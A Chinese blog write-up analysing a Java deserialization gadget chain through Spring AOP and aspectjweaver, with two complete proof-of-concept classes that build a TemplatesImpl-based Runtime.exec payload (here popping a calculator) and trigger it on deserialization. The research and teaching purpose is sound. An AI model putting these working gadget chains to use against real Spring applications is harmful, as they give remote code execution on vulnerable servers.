SpringAOP链
SpringAOP,我们在学习rome链时就利用到了这个依赖的HotSwappableTargetSource类,从而可以调用到任意类的equals()方法并控制传递参数。
但是最近爆出来了一条SpringAOP链,可以调用任意类的无参方法,但是应该必须要public才行,并且这条链子只依赖SpringAOP和aspectjweaver两个依赖包,而springboot中的spring-boot-starter-aop自带包含这俩类,所以其实可以认为在任何springboot里都能打(但是我没找到jdk8下的符合的版本,所以还是用的分开的版本),所以这里使用的依赖项如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<!-- <!– https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-aop –>-->
<!-- <dependency>-->
<!-- <groupId>org.springframework.boot</groupId>-->
<!-- <artifactId>spring-boot-starter-aop</artifactId>-->
<!-- <version>3.4.4</version>-->
<!-- </dependency>-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.19</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.8</version>
</dependency>
|
测试环境:
注意我最开始是用的高版本的,后来才改成低版本,自己区分,但是过程以及代码都是差不多的,也就是说,这条链子在<=jdk17应该也能用,因为jdk17也能调用反射。
调试分析
这里的sink点存在于org.springframework.aop.aspectj.AbstractAspectJAdvice类的invokeAdviceMethodWithGivenArgs()方法:

这里的this.aspectJAdviceMethod就是一个可控的变量,然后这里的ReflectionUtils.makeAccessible()方法就是判断是否为public,不是的话就会调用setAccessible(true)来设置成可访问:

再回到原来的invokeAdviceMethodWithGivenArgs()方法,后续的重点变量就是aspectInstanceFactory,这个变量调用的getAspectInstance()方法返回值决定了相对应的方法调用的实例,这个变量的类型是AspectInstanceFactory,这是一个接口类,可以看一下它的实现类的getAspectInstance()方法的返回值是否可以利用,同时需要这个类是实现了Serializable接口,这样才可以在序列化时利用。
这里自己找了一下,感觉可以尝试利用LazySingletonAspectInstanceFactoryDecorator类的getAspectInstance()方法:

这里涉及到的materialized变量可以通过反射来修改,并且也是实现了Serializable接口,但是在对其他变量的定义还需要找一个类来赋值:

不好利用,再看看其他类,可以发现一个非常好用的类:SingletonAspectInstanceFactory。位于org.springframework.aop.aspectj.SingletonAspectInstanceFactory,关键代码如下:

非常符合利用条件,可控的参数,可以赋值为任意类,由此可达到方法调用的对应实例的任意赋值。
回到AbstractAspectJAdvice类,有几个点需要说明:
- 这是一个抽象类,所以无法直接实例化利用
- 这个类定义了readObejct()方法,在实例化时要保证赋值正确,同时调用的是getMethod()方法,应该只能获取public类型的方法吧:

后续构造时注意一下这里提到的点。
——————
继续来看链子,现在就是看可以会调用到AbstractAspectJAdvice类的invokeAdviceMethodWithGivenArgs()方法,同时还可以看哪里会调用到AbstractAspectJAdvice类的invokeAdviceMethod()方法:

从首发的文章的链子来看,这里找到可触发点在AspectJAroundAdvice类的invoke()方法:

看这个类,可以发现这个类的父类是AbstractAspectJAdvice,是public方法:

再看这个类的invoke()方法,可以看到是实现了调用invokeAdviceMethod()方法,所以这里可以尝试接入前面分析的后续链子,从而达到调用任意类的方法。
再继续往前找,现在就是想怎么可以触发到这个类的invoke()方法,第一步想到的肯定是通过动态代理来打,但是这个参数传递有点问题,似乎是不能直接打的。那么在看如何调用到这个类的invoke()方法,这里往前找到的方法为ReflectiveMethodInvocation类的proceed()方法:

在方法最后调用了interceptorOrInterceptionAdvice类的invoke()方法,从类的调用来看,可以知道MethodInterceptor类是一个接口类,所以需要interceptorOrInterceptionAdvice实现了MethodInterceptor接口,再看我们想要利用的AspectJAroundAdvice类,可以发现这个类是实现了MethodInterceptor接口的,刚好可以直接利用。现在就是看怎么将我们想要利用的类放进去了,主要的代码逻辑在于:
1
2
|
Object interceptorOrInterceptionAdvice =
this.interceptorsAndDynamicMethodMatchers.get(++this.currentInterceptorIndex);
|
这里涉及到的两个变量:interceptorsAndDynamicMethodMatchers和currentInterceptorIndex,第一个是list类型,第二个是int类型,并且默认是-1,而第一个变量可以在类初始化时进行赋值,当然,我们还可以通过反射来修改两个变量的值。
那么现在就是看怎么调用这个类的proceed()方法了,需要注意的是,ReflectiveMethodInvocation类没有实现Serializable接口,所以需要找特别的方法来进行调用,在参考文章中学到一个非常好用且经典的解决方法:既然我们无法在反序列化过程中使用,那么就只能依赖于动态创建。
同时需要注意的是,既然都是在反序列化过程中动态创建了,那么是肯定无法通过反射来修改类变量的了。那么现在来认真看一下代码实现逻辑的条件:

其实只要interceptorsAndDynamicMethodMatchers的list中有我们想要放进去的AspectJAroundAdvice类实例即可。原因如下:
- AspectJAroundAdvice类本身以及父类都没有实现InterceptorAndDynamicMethodMatcher类,所以是肯定可以进入到else语句进行预期的invoke()方法调用
- 其次只要size()返回的值不为0,也就是至少有一个值就行了,那么这样返回的size-1就不会与-1相同,同时在调用get()获取值时,是
++this.currentInterceptorIndex
,也就是先+1然后再获取值,这里也就回从-1变成0,从而获取到list中的第一个值。
综上,我们只要在动态创建ReflectiveMethodInvocation类时能控制构造函数的最后一个参数即可:

继续往上找到的JdkDynamicAopProxy类,这个类有动态创建ReflectiveMethodInvocation的地方:

可以看到在JdkDynamicAopProxy类中有调用,这个类在解决jackson不稳定性的链子也是了解过的,需要反射来创建类实例,跟进相对应的方法:

发现存在于这个类的invoke()方法中,代码调用过程如上,所以我们这里就是需要控制这个list类型的chain中放有一个AspectJAroundAdvice类实例。
再看JdkDynamicAopProxy类,这个类是实现了Serializable接口的,所以可以用来序列化,并且这个类的invoke()的参数接收是和基本的动态代理的点是一样的,所以这里可以尝试利用动态代理来进行触发JdkDynamicAopProxy类的invoke()方法。
现在来关注参数传递,怎么控制这个chain变量,主要是如下几个变量需要控制:

看了一下,这里的advised变量要求必须是AdvisedSupport类型,这个类是public,并且这个类的父类是实现了Serializable接口的,可以直接利用。
然后这里的targetSource也可以控制,变量赋值情况如下:

直接就是获取这个变量,然后想要控制target的话,还需要注意这个targetSource变量所对应的对象是否有getTarget()方法,跟进这个变量的赋值,变量定义为TargetSource类型,这是一个接口类,所以需要找它的实现类来利用,自己简单找了一下,至少有两个类可以利用:
- 一个是AdvisedSupport本类的setTarget()方法:

这里实例化了一个SingletonTargetSource类,跟进情况如下:

都是object类型,并且方法对应,可以利用。
- 另外一个类是HotSwappableTargetSource类:

它的getTarget()方法:

所以也是非常符合的。也许TargetSource接口类的实现类还有,这里不多说了。
继续看条件:

现在的关键就是AdvisedSupport类的getInterceptorsAndDynamicInterceptionAdvice()方法,跟进这个方法:

再看和这里有关的methodCache变量:

一个Map类型,标注了key和value的类型,这里有一个非常关键的点,这个变量的定义为transient,导致这个变量不可被序列化。而这个类的构造方法以及readObject()方法有对这个变量的赋值:


这个ConcurrentHashMap类其实也是一个Map类型的类,存在put()方法用于放入键值对。
再仔细看getInterceptorsAndDynamicInterceptionAdvice()方法,由于methodCache变量声明为transient,所以只有在cached的获取肯定为null,那么来看进入if条件的代码,这里会调用advisorChainFactory变量的getInterceptorsAndDynamicInterceptionAdvice()方法,这里的advisorChainFactory变量默认为DefaultAdvisorChainFactory类实例:

所以会调用DefaultAdvisorChainFactory类的getInterceptorsAndDynamicInterceptionAdvice()方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
public List<Object> getInterceptorsAndDynamicInterceptionAdvice(
Advised config, Method method, @Nullable Class<?> targetClass) {
// This is somewhat tricky... We have to process introductions first,
// but we need to preserve order in the ultimate list.
AdvisorAdapterRegistry registry = GlobalAdvisorAdapterRegistry.getInstance();
Advisor[] advisors = config.getAdvisors();
List<Object> interceptorList = new ArrayList<>(advisors.length);
Class<?> actualClass = (targetClass != null ? targetClass : method.getDeclaringClass());
Boolean hasIntroductions = null;
for (Advisor advisor : advisors) {
if (advisor instanceof PointcutAdvisor) {
// Add it conditionally.
PointcutAdvisor pointcutAdvisor = (PointcutAdvisor) advisor;
if (config.isPreFiltered() || pointcutAdvisor.getPointcut().getClassFilter().matches(actualClass)) {
MethodMatcher mm = pointcutAdvisor.getPointcut().getMethodMatcher();
boolean match;
if (mm instanceof IntroductionAwareMethodMatcher) {
if (hasIntroductions == null) {
hasIntroductions = hasMatchingIntroductions(advisors, actualClass);
}
match = ((IntroductionAwareMethodMatcher) mm).matches(method, actualClass, hasIntroductions);
}
else {
match = mm.matches(method, actualClass);
}
if (match) {
MethodInterceptor[] interceptors = registry.getInterceptors(advisor);
if (mm.isRuntime()) {
// Creating a new object instance in the getInterceptors() method
// isn't a problem as we normally cache created chains.
for (MethodInterceptor interceptor : interceptors) {
interceptorList.add(new InterceptorAndDynamicMethodMatcher(interceptor, mm));
}
}
else {
interceptorList.addAll(Arrays.asList(interceptors));
}
}
}
}
else if (advisor instanceof IntroductionAdvisor) {
IntroductionAdvisor ia = (IntroductionAdvisor) advisor;
if (config.isPreFiltered() || ia.getClassFilter().matches(actualClass)) {
Interceptor[] interceptors = registry.getInterceptors(advisor);
interceptorList.addAll(Arrays.asList(interceptors));
}
}
else {
Interceptor[] interceptors = registry.getInterceptors(advisor);
interceptorList.addAll(Arrays.asList(interceptors));
}
}
return interceptorList;
}
|
这里的config就是AdvisedSupport类,再看代码逻辑,最后返回的是interceptorList变量,而向这个变量中添加值的操作都是如下:
1
2
|
Interceptor[] interceptors = registry.getInterceptors(advisor);
interceptorList.addAll(Arrays.asList(interceptors));
|
基本可以说是肯定会添加的,最后的else也是进行了这个添加的操作,可以看一下getInterceptors的判断逻辑,registry的获取:

调用的DefaultAdvisorAdapterRegistry类的getInterceptors()方法:

关键的就是上述方法,先看需要利用的advisor变量,是Advisor类型,是一个接口类,找了一下实现类,发现DefaultIntroductionAdvisor类是可以利用的,实现了Serializable接口,可以序列化,并且getAdvice()方法返回实例化传进去的advice变量:

(学完后我回来看了一下,从代码层面来讲,发现DefaultIntroductionAdvisor类在DefaultAdvisorChainFactory类的getInterceptorsAndDynamicInterceptionAdvice()方法中应该是会进入到else if语句,但是想要添加也是非常好控制的:

AdvisedSupport类中的方法定义:

preFiltered变量默认为false,但是可以通过setPreFiltered()方法将其设置为true,具体就看要是下面的分析出错了再加吧。当然还可以控制第二个,反正为||,但是这样就需要看targetClass的匹配情况了。
)
再看getInterceptors()方法后续代码,只要getAdvice()方法返回的类实现了Advice接口和MethodInterceptor接口,就可以将这个类放入list中,而我们想要利用的是我们想要传入的是AspectJAroundAdvice类实例,这个类的父类AbstractAspectJAdvice实现了Advice接口,可以直接利用。
但是这里其实有两条链子,区别点也是在这里,另外一种方法也挺有意思的,学习一下,两条链子主要的区别就是如下:
- 找一个同时实现了Advice接口和MethodInterceptor接口并且可以利用的类,也就是前面分析的。
- 第二个就是再加一层代理,这里也就是再次利用JdkDynamicAopProxy,通过JdkDynamicAopProxy来同时代理Advice和MethodInterceptor接口,并设置反射调用对象(target)是AspectJAroundAdvice,从而可以在调用到MethodInterceptor接口对应的方法时会继续链子的执行。这个就是对JdkDynamicAopProxy类的利用了,非常强大的类呀。
所以这里其实有两条链子,下面分别再继续说一下。
POC构造
链子一
前面分析得基本已经非常清晰了,AspectJAroundAdvice类的父类AbstractAspectJAdvice(sink点的类)实现了advice接口,所以其实可以直接尝试利用,那么就用CC5的反序列化调用toString()方法打一个来触发代理:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AopProxy;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.support.DefaultIntroductionAdvisor;
import javassist.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",code);
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
Method method1 = impl.getClass().getDeclaredMethod("newTransformer");
AspectJExpressionPointcut pointcut = new AspectJExpressionPointcut();
SingletonAspectInstanceFactory x1 = new SingletonAspectInstanceFactory(impl);
AspectJAroundAdvice aspectJAroundAdvice = new AspectJAroundAdvice(method1,pointcut,x1);
DefaultIntroductionAdvisor decorator = new DefaultIntroductionAdvisor(aspectJAroundAdvice);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(impl);
advisedSupport.addAdvisor(decorator);
Class clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor constructor = clazz.getDeclaredConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
//代理设置
InvocationHandler invocatinoHandler = (InvocationHandler) constructor.newInstance(advisedSupport);
AopProxy proxy = (AopProxy) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{AopProxy.class},invocatinoHandler);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
setFieldValue(bad,"val",proxy);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
运行后就直接在反序列化时弹出计算机了。
再调试一下基本过程,有不同点:

这里为什么会有呢,不应该是会进入if条件吗?缓存问题?没调出来,搞不懂?
而对于为什么调用无参数构造方法,可以自己去跟一下这里的过程。
所以Gatget如下:
1
2
3
4
5
|
JdkDynamicAopProxy#invoke()->
ReflectiveMethodInvocation#proceed()->
AspectJAroundAdvice#invoke()->
AbstractAspectJAdvice#invokeAdviceMethod()->
AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs()
|
基本和预期相同。
链子二
这一条链子也是非常有意思的点,值得学习,具体过程上面提出来的点也非常清晰了,简单想了一下流程,感觉应该是在如下地方触发第二次JdkDynamicAopProxy的invoke()方法:

而第二次触发invoke()方法的流程就和jackson不稳定性解决的链子流程是一样的了,这里不多说。
简单构造如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import org.aopalliance.aop.Advice;
import org.aopalliance.intercept.MethodInterceptor;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AopProxy;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.support.DefaultIntroductionAdvisor;
import javassist.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",code);
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
Method method1 = impl.getClass().getDeclaredMethod("newTransformer");
AspectJExpressionPointcut pointcut = new AspectJExpressionPointcut();
SingletonAspectInstanceFactory x1 = new SingletonAspectInstanceFactory(impl);
AspectJAroundAdvice aspectJAroundAdvice = new AspectJAroundAdvice(method1,pointcut,x1);
Class clazz0 = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor constructor0 = clazz0.getDeclaredConstructor(AdvisedSupport.class);
constructor0.setAccessible(true);
AdvisedSupport advisedSupport0 = new AdvisedSupport();
advisedSupport0.setTarget(aspectJAroundAdvice);
Advice proxy0 = (Advice) getProxy(constructor0,advisedSupport0,new Class[]{MethodInterceptor.class,Advice.class});
DefaultIntroductionAdvisor decorator = new DefaultIntroductionAdvisor(proxy0);
AdvisedSupport advisedSupport1 = new AdvisedSupport();
advisedSupport1.setTarget(impl);
advisedSupport1.addAdvisor(decorator);
//代理设置
AopProxy proxy2 = (AopProxy) getProxy(constructor0,advisedSupport1,new Class[]{AopProxy.class});
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
setFieldValue(bad,"val",proxy2);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static Object getProxy(Constructor constructor,AdvisedSupport advised,Class[] interface1) throws Exception{
InvocationHandler invocatinoHandler = (InvocationHandler) constructor.newInstance(advised);
Object proxy = (Object) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),interface1,invocatinoHandler);
return proxy;
}
}
|
成功在反序列化时弹出计算机。
调试的唯一不同点就是如下:

这里还是没有进入if语句,不知道为什么,但是后面gaoren帮我跑就能进入if语句。
所以Gatget如下:
1
2
3
4
5
6
7
|
JdkDynamicAopProxy#invoke()->
ReflectiveMethodInvocation#proceed()->
JdkDynamicAopProxy#invoke()->
AopUtils#invokeJoinpointUsingReflection()->
AspectJAroundAdvice#invoke()->
AbstractAspectJAdvice#invokeAdviceMethod()->
AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs()
|
总结
非常有意思的链子呀,JdkDynamicAopProxy类真的强大,只要控制得好,可以调用任意类的任意方法,主要还是看触发invoke()的方法,因为我们可控反射中的invoke()中的类实例,非常有意思。
最后,这个springAOP链是一个非常好用的类,基本上springboot的环境都能打,可以调用任意类的无参数方法。
参考文章:
https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ
https://xz.aliyun.com/news/17640
https://xz.aliyun.com/news/17530